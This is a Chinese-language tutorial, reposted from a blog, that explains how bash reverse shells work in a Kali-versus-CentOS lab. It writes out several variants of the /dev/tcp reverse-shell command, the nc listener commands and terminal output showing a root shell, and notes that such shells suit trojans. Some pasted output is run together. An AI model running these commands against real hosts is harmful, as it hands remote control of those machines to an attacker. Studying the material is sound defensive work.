反弹bash shell命令详解
当我们在渗透Linux主机时,反弹一个可交互的shell是非常有必要的。那什么反弹shell又到底是什么呐?为什么要反弹shell呐?
一、什么是反弹shell?
反弹shell(reverse shell),就是控制端(攻击者所有)监听某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转发到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念上的客户端与服务端的角色反转。
就我个人对反弹shell的理解是:
在Linux中的shell是指一个面向用户的命令接口,也就是一个命令解析器。用户可以通过在shell上键入命令来达到操作主机的目的。正常情况下shell只能由主机的用户使用,但是反弹shell的目的则是将自己的shell反弹给别的主机,让别的主机可以通过shell来控制自己。
二、为什么要反弹shell?
至于为什么要反弹shell,那是被控端可能因防火墙受限、权限不足、端口被占用等情形导致攻击者无法直接对目标进行控制。
举例:假设我们攻击了一台主机,打开了该主机的一个端口,攻击者在自己的主机上去连接目标机器(目标ip:目标机器端口),这是比较常规的方式,叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。那么什么情况下正向连接不能使用了呢?
有如下情况:
1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。
2.目标主机的ip是动态改变的,不能持续控制。
3.由于防火墙等限制,目标主机只能发送请求,不能接收请求。
4.对于病毒、木马,受害者什么时候能中招、对方的网络环境是什么样的、什么时候开关机等情况都是未知的,所以建立一个服务端让恶意程序主动连接,才是最好的办法。
那么反弹就很好理解了,攻击者指定服务端,目标主机主动连接攻击者的服务端程序,就叫反弹连接。这里的反弹shell就属于反弹连接。
当然,对于linux主机的反弹shell有很多种方式,比如使用linux的bash命令反弹shell、使用python反弹shell、使用nc反弹shell等等。本文介绍的主题就是通过bash命令来反弹shell,之所以介绍这种方式是因为网上很多文章在提及bash命令反弹shell时只是给出了对应的命令而没有对命令作出解释。下面就来对通过bash是如何进行反弹shell的进行探究。
三、实验环境
Kali(攻击者):192.168.1.102
Centos 7(攻击目标):192.168.1.103
四、使用bash命令反弹shell
反弹shell命令格式如下:
bash -i >& /dev/tcp/ip/port 0>&1
(1)攻击者本地监听7777端口
(2)目标主机执行反弹shell命令
bash -i >& /dev/tcp/192.168.1.102/7777 0>&1 (实际的命令解析为:将目标主机的bash shell以-i交互式的方式,标准输出+错误输出重定向到192.168.1.102:7777,而在192.168.1.102:7777的标准输入命令会重定向到192.168.1.102:7777的标准输出中)
简言而知,就是将目标主机的标准输入、标准输出、错误输出全都重定向到攻击端上
执行完成之后再看我们的攻击者主机可以发现目标的shell已经反弹过来了
仔细观察图中箭头所指可以发现目标的shell此时已经反弹到了攻击者这里,我们可以通过该shell执行命令了,比如ifconfig。
五、命令分析
按理说在渗透过程中只要能够记住反弹shell的命令达到目的就足够了,但是我认为不理解命令的含义就始终无法对反弹shell有一个深刻的理解,也无法留下深刻的印象。
1、bash -i是创建一个交互的bash shell,这个是最简单的。
2、/dev/tcp/是Linux中的一个特殊设备文件,实际这个文件是不存在的,它只是 bash 用来实现网络请求的一个接口。打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/。
3、192.168.1.102/7777则是攻击者主机的地址和监听的端口了。
4、“>&”和“0>&1”
要想了解“>&”和“0>&1”,首先我们要先了解一下Linux文件描述符和重定向。linux shell下常用的文件描述符是:
(1)标准输入(stdin) :代码为 0 ,使用 < 或 <<
(2)标准输出(stdout):代码为 1 ,使用 > 或 >>
(3)标准错误输出(stderr):代码为 2 ,使用 2> 或 2>>
这里的”>&”与”&>”是等价的,都是表示混合输出,即标准输出1 + 错误输出2。其实 2>&1也是将标准错误输出重定向到标准输出中的意思。那么按照这个逻辑,“0>&1”就是将标准输入重定向到标准输出中。事实也就是如此,“0>&1”跟“0&>1”同样也是等价的。这样的解释可能比较抽象,下面用几个例子来说明一下bash反弹shell的实现过程。
1、bash -i > /dev/tcp/192.168.1.102/7777
目标:
[root@localhost ~]# bash -i > /dev/tcp/192.168.1.102/7777 //第一步
[root@localhost ~]# hostname //第二步
攻击端:
root@kali:~# nc -lvp 7777listening on [any] 7777 ...192.168.1.103: inverse host lookup failed: Unknown hostconnect to [192.168.1.102] from (UNKNOWN) [192.168.1.103] 41342localhost.localdomain //测试1结果:实现了将目标的标准输出重定向到攻击端,但是还没实现用命令来控制目标。
2、bash -i < /dev/tcp/192.168.1.102/7777
目标:
[root@localhost~]#bash -i /dev/tcp/[root@localhost ~]# hostname //测试2结果:实现了将攻击端的输入重定向到目标,但是攻击端看不到命令执行的结果。localhost.localdomain
攻击端:
root@kali:~# nc -lvp 7777 //第一步listening on [any] 7777 ...192.168.1.103: inverse host lookup failed: Unknown hostconnect to [192.168.1.102] from (UNKNOWN) [192.168.1.103] 41344hostname //第三步(攻击端执行命令)
3、bash -i >/dev/tcp/192.168.1.102/7777 0>&1
目标:
[root@localhost ~]# bash -i > /dev/tcp/192.168.1.102/7777 0>&1 //第二步[root@localhost ~]# hostname //目标回显命令[root@localhost ~]# id //目标回显命令[root@localhost ~]# hahaha //目标回显命令bash: hahaha: command not found //目标回显命令。显示错误命令的输出。[root@localhost ~]#
攻击端:
root@kali:~# nc -lvp 7777 //第一步listening on [any] 7777 ...192.168.1.103: inverse host lookup failed: Unknown hostconnect to [192.168.1.102] from (UNKNOWN) [192.168.1.103] 41348hostname //第三步(攻击端执行命令)localhost.localdomain //目标执行命令的结果 id //第四步(攻击端执行命令)uid=0(root)gid=0(root)组=0(root) 环境=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 //目标执行命令的结果 hahaha //第五步(执行一个错误的命令)//测试3结果:基本实现了反弹shell的功能。但是目标主机上依然回显了攻击者机器上执行的命令,并且攻击端是看不到错误命令的输出的。
4、将上面三个测试结合。将标准输入、标准输出、错误输出全都重定向到攻击端
bash -i >& /dev/tcp/192.168.1.102/7777 0>&1
目标:
[root@localhost ~]# bash -i > /dev/tcp/192.168.1.102/7777 0>&1 2>&1 //第二步。或 # bash -i &> /dev/tcp/10.201.61.194/5566 0>&1 (注:&>或>& 表示混合输出,即标准输出1 + 错误输出2)
攻击端:
root@kali:~# nc -lvp 7777 //第一步listening on [any] 7777 ...192.168.1.103: inverse host lookup failed: Unknown hostconnect to [192.168.1.102] from (UNKNOWN) [192.168.1.103] 41350[root@localhost ~]# hostname //第三步。测试4结果:攻击端已获得受害端的远程交互式shell,而且目标没有再回显攻击端输入的命令hostnamelocalhost.localdomain[root@localhost ~]#//注:由测试3、测试4对比可见,标准错误2不仅有显示错误信息的作用,还有回显输入命令和终端提示符的作用
bash -i > /dev/tcp/192.168.1.102/7777 将标准输出重定向到192.168.1.102/7777,还没实现用命令来控制目标,错误命令不显示
bash -i >& /dev/tcp/192.168.1.102/7777 将标准输出+错误输出重定向到192.168.1.102/7777
bash -i < /dev/tcp/192.168.1.102/7777 将192.168.1.102/7777的标准输入重定向到本地,服务器输入啥就本地就显示啥
bash -i > /dev/tcp/192.168.1.102/7777 0>&1 攻击者服务器目标回显命令。但不显示错误命令的输出,错误命令会在本地显示
bash -i >& /dev/tcp/192.168.1.102/7777 0>&1 将标准输入、标准输出、错误输出全都重定向到攻击端(注:&>或>& 表示混合输出,即标准输出1 + 错误输出2)
六、总结
通过几次试验的对比,我们对几个不同的命令应该有了一个大致的理解了。我个人认为在测试1中的bash -i > /dev/tcp/192.168.1.102/7777命令可以通过>的方向理解为目标创建了一个shell,而这个shell的输出被重定向到了攻击者的主机上。在测试2中bash -i < /dev/tcp/192.168.1.102/7777命令通过> /dev/tcp/192.168.1.102/7777 0>&1 命令通过>可以知道是将目标shell的输出重定向到了攻击者主机上,又由于0>&1的意思是将标准输入重定向到标准输出中,也就是说在攻击者主机上的输入会显示在目标主机的shell中但是输出还是重定向到了攻击者主机上。在最后的测试4中bash -i >& /dev/tcp/192.168.1.102/7777 0>&1命令通过>&将标准的错误信息也重定向到了攻击者主机上。
文章转自:https://blog.csdn.net/weixin_39529302/article/details/110289594